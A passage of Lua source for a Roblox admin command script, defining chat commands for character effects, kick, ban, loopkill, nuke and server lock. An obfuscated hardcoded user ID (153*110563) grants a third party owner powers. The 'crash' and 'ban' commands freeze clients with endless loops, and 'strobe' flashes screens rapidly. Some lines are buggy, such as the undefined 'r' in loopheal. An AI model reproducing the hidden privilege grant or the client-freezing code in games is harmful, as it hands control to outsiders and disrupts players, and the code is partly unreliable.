  4344. coroutine.resume(coroutine.create(function()
  4345. if v and v.Character and v.Character:findFirstChild("Head") then
  4346. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  4347. local char = v.Character
  4348. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  4349. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  4350. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  4351. char.Head.Transparency = 1
  4352. end
  4353. end))
  4354. end
  4355. end
  4356.  
  4357. if msg:lower():sub(1,7) == "unname " then
  4358. local plrz = GetPlr(plr, msg:lower():sub(8))
  4359. for i, v in pairs(plrz) do
  4360. coroutine.resume(coroutine.create(function()
  4361. if v and v.Character and v.Character:findFirstChild("Head") then
  4362. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  4363. end
  4364. end))
  4365. end
  4366. end
  4367.  
  4368. if msg:lower():sub(1,5) == "char " then
  4369. local chk1 = msg:lower():sub(6):find(" ") + 5
  4370. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  4371. for i, v in pairs(plrz) do
  4372. coroutine.resume(coroutine.create(function()
  4373. if v and v.Character then
  4374. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  4375. v:LoadCharacter()
  4376. end
  4377. end))
  4378. end
  4379. end
  4380.  
  4381. if msg:lower():sub(1,7) == "unchar " then
  4382. local plrz = GetPlr(plr, msg:lower():sub(8))
  4383. for i, v in pairs(plrz) do
  4384. coroutine.resume(coroutine.create(function()
  4385. if v and v.Character then
  4386. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  4387. v:LoadCharacter()
  4388. end
  4389. end))
  4390. end
  4391. end
  4392.  
  4393. if msg:lower():sub(1,7) == "infect " then
  4394. local plrz = GetPlr(plr, msg:lower():sub(8))
  4395. for i, v in pairs(plrz) do
  4396. coroutine.resume(coroutine.create(function()
  4397. if v and v.Character then
  4398. Infect(v.Character)
  4399. end
  4400. end))
  4401. end
  4402. end
  4403.  
  4404. if msg:lower():sub(1,11) == "rainbowify " then
  4405. local plrz = GetPlr(plr, msg:lower():sub(12))
  4406. for i, v in pairs(plrz) do
  4407. coroutine.resume(coroutine.create(function()
  4408. if v and v.Character and v.Character:findFirstChild("Torso") then
  4409. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  4410. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  4411. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  4412. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  4413. cl.Parent = v.Character cl.Disabled = false
  4414. end
  4415. end))
  4416. end
  4417. end
  4418.  
  4419. if msg:lower():sub(1,9) == "flashify " then
  4420. local plrz = GetPlr(plr, msg:lower():sub(10))
  4421. for i, v in pairs(plrz) do
  4422. coroutine.resume(coroutine.create(function()
  4423. if v and v.Character and v.Character:findFirstChild("Torso") then
  4424. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  4425. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  4426. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  4427. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  4428. cl.Parent = v.Character cl.Disabled = false
  4429. end
  4430. end))
  4431. end
  4432. end
  4433.  
  4434. if msg:lower():sub(1,8) == "noobify " then
  4435. local plrz = GetPlr(plr, msg:lower():sub(9))
  4436. for i, v in pairs(plrz) do
  4437. coroutine.resume(coroutine.create(function()
  4438. if v and v.Character then
  4439. Noobify(v.Character)
  4440. end
  4441. end))
  4442. end
  4443. end
  4444.  
  4445. if msg:lower():sub(1,9) == "ghostify " then
  4446. local plrz = GetPlr(plr, msg:lower():sub(10))
  4447. for i, v in pairs(plrz) do
  4448. coroutine.resume(coroutine.create(function()
  4449. if v and v.Character and v.Character:findFirstChild("Torso") then
  4450. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  4451. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  4452. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  4453. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  4454. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  4455. if prt.Name:find("Leg") then prt.Transparency = 1 end
  4456. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  4457. end end
  4458. end
  4459. end))
  4460. end
  4461. end
  4462.  
  4463. if msg:lower():sub(1,8) == "goldify " then
  4464. local plrz = GetPlr(plr, msg:lower():sub(9))
  4465. for i, v in pairs(plrz) do
  4466. coroutine.resume(coroutine.create(function()
  4467. if v and v.Character and v.Character:findFirstChild("Torso") then
  4468. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  4469. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  4470. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  4471. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  4472. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  4473. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  4474. end end
  4475. end
  4476. end))
  4477. end
  4478. end
  4479.  
  4480. if msg:lower():sub(1,6) == "shiny " then
  4481. local plrz = GetPlr(plr, msg:lower():sub(7))
  4482. for i, v in pairs(plrz) do
  4483. coroutine.resume(coroutine.create(function()
  4484. if v and v.Character and v.Character:findFirstChild("Torso") then
  4485. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  4486. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  4487. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  4488. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  4489. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  4490. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  4491. end end
  4492. end
  4493. end))
  4494. end
  4495. end
  4496.  
  4497. if msg:lower():sub(1,7) == "normal " then
  4498. local plrz = GetPlr(plr, msg:lower():sub(8))
  4499. for i, v in pairs(plrz) do
  4500. coroutine.resume(coroutine.create(function()
  4501. if v and v.Character and v.Character:findFirstChild("Torso") then
  4502. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  4503. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  4504. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  4505. v.Character.Torso.Transparency = 0
  4506. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  4507. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  4508. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  4509. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  4510. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  4511. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  4512. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  4513. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  4514. if prt.Name == "FAKETORSO" then prt:Destroy() end
  4515. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  4516. end end
  4517. end
  4518. end))
  4519. end
  4520. end
  4521.  
  4522. if msg:lower():sub(1,7) == "trippy " then
  4523. local plrz = GetPlr(plr, msg:lower():sub(8))
  4524. for i, v in pairs(plrz) do
  4525. coroutine.resume(coroutine.create(function()
  4526. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  4527. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  4528. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  4529. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  4530. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  4531. end
  4532. end))
  4533. end
  4534. end
  4535.  
  4536. if msg:lower():sub(1,9) == "untrippy " then
  4537. local plrz = GetPlr(plr, msg:lower():sub(10))
  4538. for i, v in pairs(plrz) do
  4539. coroutine.resume(coroutine.create(function()
  4540. if v and v:findFirstChild("PlayerGui") then
  4541. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  4542. end
  4543. end))
  4544. end
  4545. end
  4546.  
  4547. if msg:lower():sub(1,7) == "strobe " then
  4548. local plrz = GetPlr(plr, msg:lower():sub(8))
  4549. for i, v in pairs(plrz) do
  4550. coroutine.resume(coroutine.create(function()
  4551. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  4552. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  4553. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  4554. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  4555. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  4556. end
  4557. end))
  4558. end
  4559. end
  4560.  
  4561. if msg:lower():sub(1,9) == "unstrobe " then
  4562. local plrz = GetPlr(plr, msg:lower():sub(10))
  4563. for i, v in pairs(plrz) do
  4564. coroutine.resume(coroutine.create(function()
  4565. if v and v:findFirstChild("PlayerGui") then
  4566. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  4567. end
  4568. end))
  4569. end
  4570. end
  4571.  
  4572. if msg:lower():sub(1,6) == "blind " then
  4573. local plrz = GetPlr(plr, msg:lower():sub(7))
  4574. for i, v in pairs(plrz) do
  4575. coroutine.resume(coroutine.create(function()
  4576. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  4577. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  4578. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  4579. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  4580. end
  4581. end))
  4582. end
  4583. end
  4584.  
  4585. if msg:lower():sub(1,8) == "unblind " then
  4586. local plrz = GetPlr(plr, msg:lower():sub(9))
  4587. for i, v in pairs(plrz) do
  4588. coroutine.resume(coroutine.create(function()
  4589. if v and v:findFirstChild("PlayerGui") then
  4590. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  4591. end
  4592. end))
  4593. end
  4594. end
  4595.  
  4596. if msg:lower():sub(1,7) == "guifix " then
  4597. local plrz = GetPlr(plr, msg:lower():sub(8))
  4598. for i, v in pairs(plrz) do
  4599. coroutine.resume(coroutine.create(function()
  4600. if v and v:findFirstChild("PlayerGui") then
  4601. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  4602. end
  4603. end))
  4604. end
  4605. end
  4606.  
  4607. if msg:lower():sub(1,9) == "loopheal " then
  4608. local plrz = GetPlr(plr, msg:lower():sub(10))
  4609. for i, v in pairs(plrz) do
  4610. if v then
  4611. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  4612. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  4613. repeat wait()
  4614. coroutine.resume(coroutine.create(function()
  4615. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  4616. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  4617. plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
  4618. end
  4619. end))
  4620. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  4621. end
  4622. end
  4623. end
  4624.  
  4625. if msg:lower():sub(1,11) == "unloopheal " then
  4626. local plrz = GetPlr(plr, msg:lower():sub(12))
  4627. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  4628. end
  4629.  
  4630. if msg:lower():sub(1,10) == "loopfling " then
  4631. local plrz = GetPlr(plr, msg:lower():sub(11))
  4632. for i, v in pairs(plrz) do
  4633. if v then
  4634. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  4635. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  4636. repeat
  4637. coroutine.resume(coroutine.create(function()
  4638. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  4639. local xran local zran
  4640. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  4641. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  4642. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  4643. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  4644. end
  4645. end))
  4646. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  4647. end
  4648. end
  4649. end
  4650.  
  4651. if msg:lower():sub(1,12) == "unloopfling " then
  4652. local plrz = GetPlr(plr, msg:lower():sub(13))
  4653. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  4654. end
  4655.  
  4656. end
  4657.  
  4658. -------------------------
  4659. -- True Owner Commands --
  4660. -------------------------
  4661.  
  4662. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  4663.  
  4664. if msg:lower():sub(1,3) == "oa " then
  4665. local plrz = GetPlr(plr, msg:lower():sub(4))
  4666. for i, v in pairs(plrz) do
  4667. coroutine.resume(coroutine.create(function()
  4668. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  4669. end))
  4670. end
  4671. end
  4672.  
  4673. if msg:lower():sub(1,5) == "unoa " then
  4674. for i = 1, #owners do
  4675. coroutine.resume(coroutine.create(function()
  4676. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  4677. end))
  4678. end
  4679. end
  4680.  
  4681. if msg:lower() == "settings" then
  4682. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end
  4683. local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
  4684. local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
  4685. local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
  4686. local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8
  4687. local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8
  4688. local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
  4689. local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8
  4690. if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix
  4691. tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end)
  4692. cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end)
  4693. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  4694. end
  4695.  
  4696. end
  4697.  
  4698. --------------------
  4699. -- Owner Commands --
  4700. --------------------
  4701.  
  4702. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  4703.  
  4704. if msg:lower():sub(1,3) == "pa " then
  4705. local plrz = GetPlr(plr, msg:lower():sub(4))
  4706. for i, v in pairs(plrz) do
  4707. coroutine.resume(coroutine.create(function()
  4708. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  4709. end))
  4710. end
  4711. end
  4712.  
  4713. if msg:lower():sub(1,5) == "unpa " then
  4714. for i = 1, #admins do
  4715. coroutine.resume(coroutine.create(function()
  4716. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  4717. end))
  4718. end
  4719. end
  4720.  
  4721. if msg:lower():sub(1,5) == "nuke " then
  4722. local plrz = GetPlr(plr, msg:lower():sub(6))
  4723. for i, v in pairs(plrz) do
  4724. coroutine.resume(coroutine.create(function()
  4725. if v and v.Character and v.Character:findFirstChild("Torso") then
  4726. local p = Instance.new("Part",game.Workspace) table.insert(objects,p)
  4727. p.Anchored = true
  4728. p.CanCollide = false
  4729. p.formFactor = "Symmetric"
  4730. p.Shape = "Ball"
  4731. p.Size = Vector3.new(1,1,1)
  4732. p.BrickColor = BrickColor.new("New Yeller")
  4733. p.Transparency = .5
  4734. p.Reflectance = .2
  4735. p.TopSurface = 0
  4736. p.BottomSurface = 0
  4737. p.Touched:connect(function(hit)
  4738. if hit and hit.Parent then
  4739. local ex = Instance.new("Explosion", game.Workspace)
  4740. ex.Position = hit.Position
  4741. ex.BlastRadius = 11
  4742. ex.BlastPressure = math.huge
  4743. end
  4744. end)
  4745. local cf = v.Character.Torso.CFrame
  4746. p.CFrame = cf
  4747. for i = 1, 333 do
  4748. p.Size = p.Size + Vector3.new(3,3,3)
  4749. p.CFrame = cf
  4750. wait(1/44)
  4751. end
  4752. p:Destroy()
  4753. end
  4754. end))
  4755. end
  4756. end
  4757.  
  4758. end
  4759.  
  4760. --------------------------
  4761. -- Super Admin Commands --
  4762. --------------------------
  4763.  
  4764. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  4765.  
  4766. if msg:lower() == "logs" then
  4767. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  4768. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  4769. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  4770. end
  4771.  
  4772. if msg:lower():sub(1,9) == "loopkill " then
  4773. local chk1 = msg:lower():sub(10):find(" ")
  4774. local plrz = GetPlr(plr, msg:lower():sub(10))
  4775. local num = 9999
  4776. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  4777. for i, v in pairs(plrz) do
  4778. if v and not ChkAdmin(v.Name, false) then
  4779. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  4780. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  4781. for i = 1, ]] .. tostring(num) .. [[ do
  4782. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  4783. coroutine.resume(coroutine.create(function()
  4784. if plr and plr.Character then plr.Character:BreakJoints() end
  4785. end))
  4786. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  4787. end
  4788. end
  4789. end
  4790.  
  4791. if msg:lower():sub(1,11) == "unloopkill " then
  4792. local plrz = GetPlr(plr, msg:lower():sub(12))
  4793. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  4794. end
  4795.  
  4796. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  4797. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  4798.  
  4799. if msg:lower():sub(1,3) == "sm " then
  4800. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  4801. end
  4802.  
  4803. if msg:lower():sub(1,3) == "ko " then
  4804. local chk1 = msg:lower():sub(4):find(" ") + 3
  4805. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  4806. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  4807. for n = 1, num do
  4808. for i, v in pairs(plrz) do
  4809. coroutine.resume(coroutine.create(function()
  4810. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name, false) then
  4811. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  4812. v.Character:BreakJoints()
  4813. wait(1/44)
  4814. v:LoadCharacter()
  4815. wait(1/44)
  4816. end
  4817. end))
  4818. end
  4819. end
  4820. end
  4821.  
  4822. if msg:lower():sub(1,6) == "crash " then
  4823. local plrz = GetPlr(plr, msg:lower():sub(7))
  4824. for i, v in pairs(plrz) do
  4825. coroutine.resume(coroutine.create(function()
  4826. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  4827. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  4828. end
  4829. end))
  4830. end
  4831. end
  4832.  
  4833. if msg:lower():sub(1,5) == "kick " then
  4834. local plrz = GetPlr(plr, msg:lower():sub(6))
  4835. for i, v in pairs(plrz) do
  4836. coroutine.resume(coroutine.create(function()
  4837. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  4838. end))
  4839. end
  4840. end
  4841.  
  4842. if msg:lower():sub(1,6) == "admin " then
  4843. local plrz = GetPlr(plr, msg:lower():sub(7))
  4844. for i, v in pairs(plrz) do
  4845. coroutine.resume(coroutine.create(function()
  4846. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  4847. end))
  4848. end
  4849. end
  4850.  
  4851. if msg:lower():sub(1,8) == "unadmin " then
  4852. for i = 1, #tempadmins do
  4853. coroutine.resume(coroutine.create(function()
  4854. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  4855. end))
  4856. end
  4857. end
  4858.  
  4859. if msg:lower():sub(1,4) == "ban " then
  4860. local plrz = GetPlr(plr, msg:lower():sub(5))
  4861. for i, v in pairs(plrz) do
  4862. coroutine.resume(coroutine.create(function()
  4863. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  4864. end))
  4865. end
  4866. end
  4867.  
  4868. if msg:lower():sub(1,6) == "unban " then
  4869. for i = 1, #banland do
  4870. coroutine.resume(coroutine.create(function()
  4871. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  4872. end))
  4873. end
  4874. end
  4875.  
